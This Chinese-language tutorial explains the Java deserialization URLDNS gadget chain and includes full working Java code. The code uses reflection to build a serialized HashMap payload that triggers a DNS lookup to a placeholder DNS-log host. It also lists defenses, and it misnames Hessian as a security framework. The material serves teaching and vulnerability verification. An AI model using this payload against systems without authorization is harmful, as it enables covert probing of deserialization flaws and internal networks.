002、java反序列化-URLDNS链
字数 1323 2025-08-29 22:41:38
Java反序列化漏洞利用:URLDNS链分析
一、漏洞原理概述
URLDNS链是Java反序列化漏洞中一个经典的利用链,它利用了Java原生类URL和HashMap的特性来实现DNS查询,常用于验证反序列化漏洞的存在。
关键点:
URL类实现了Serializable接口,可以被序列化URL类重写了hashCode()方法- 当
URL对象作为HashMap的key时,会触发hashCode()计算 URL.hashCode()内部会解析URL的主机名,导致DNS查询
二、核心类分析
1. URL类
public final class URL implements java.io.Serializable {
private int hashCode = -1;
// ...
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
}
关键特性:
- 实现了
Serializable接口 - 使用
hashCode字段缓存哈希值(初始为-1) - 当
hashCode == -1时,会调用handler.hashCode(this)进行实际计算
2. HashMap类
当对象放入HashMap时:
- 会调用对象的
hashCode()方法计算哈希值 - 如果哈希冲突,还会调用
equals()方法
三、漏洞利用过程
基本利用流程
- 创建HashMap对象
- 将URL对象作为key放入HashMap
- 序列化HashMap
- 反序列化HashMap时触发DNS查询
问题发现
直接实现时发现:
- 序列化时就会触发DNS查询(非预期)
- 反序列化时不会触发DNS查询(因为hashCode已被缓存)
原因:
- 序列化时
hashCode()计算后,值被缓存(不再为-1) - 反序列化后直接返回缓存值,不再调用
handler.hashCode(this)
解决方案
使用反射机制控制hashCode值:
- 创建URL对象后,立即将其
hashCode设为1(防止序列化时触发DNS) - 将URL放入HashMap
- 再将
hashCode设为-1(确保反序列化时触发DNS) - 序列化HashMap
四、完整利用代码
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNSExploit {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
oos.writeObject(obj);
oos.close();
}
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://yourdnslog.example.com");
// 使用反射修改URL对象的hashCode值
Class<?> urlClass = url.getClass();
Field hashCodeField = urlClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
// 1. 先设为非-1值,防止put时触发DNS
hashCodeField.set(url, 1);
// 2. 将URL放入HashMap
hashMap.put(url, 1);
// 3. 将hashCode改回-1,确保反序列化时触发DNS
hashCodeField.set(url, -1);
// 4. 序列化HashMap
serialize(hashMap);
}
}
五、技术细节分析
为什么HashMap会触发URL的hashCode?
当对象作为HashMap的key时:
- HashMap需要计算key的哈希值来确定存储位置
- 计算过程调用key对象的
hashCode()方法 - 对于URL对象,当
hashCode == -1时会触发DNS解析
反射的作用
- 绕过URL类的封装,直接修改私有字段
hashCode - 控制DNS触发时机:
- 序列化前防止触发(设为1)
- 反序列化时确保触发(设为-1)
六、防御措施
- 避免反序列化不可信数据
- 使用白名单机制限制可反序列化的类
- 使用安全框架如SerialKiller、Hessian等
- 升级JDK版本,某些版本有修复措施
七、实际应用场景
- 漏洞验证:快速验证反序列化漏洞是否存在
- 无回显漏洞探测:通过DNS查询确认漏洞
- 内网探测:结合DNSLog平台探测内网服务
八、注意事项
- 该链仅能触发DNS查询,无法执行代码
- 需要出网环境(能够进行DNS解析)
- 适用于大多数JDK版本,兼容性好
- 生成的payload不依赖第三方库,纯Java原生类实现
九、扩展思考
- 如何将该技术与其他反序列化链结合?
- 在不出网环境下如何利用反序列化漏洞?
- 如何检测和防御此类攻击?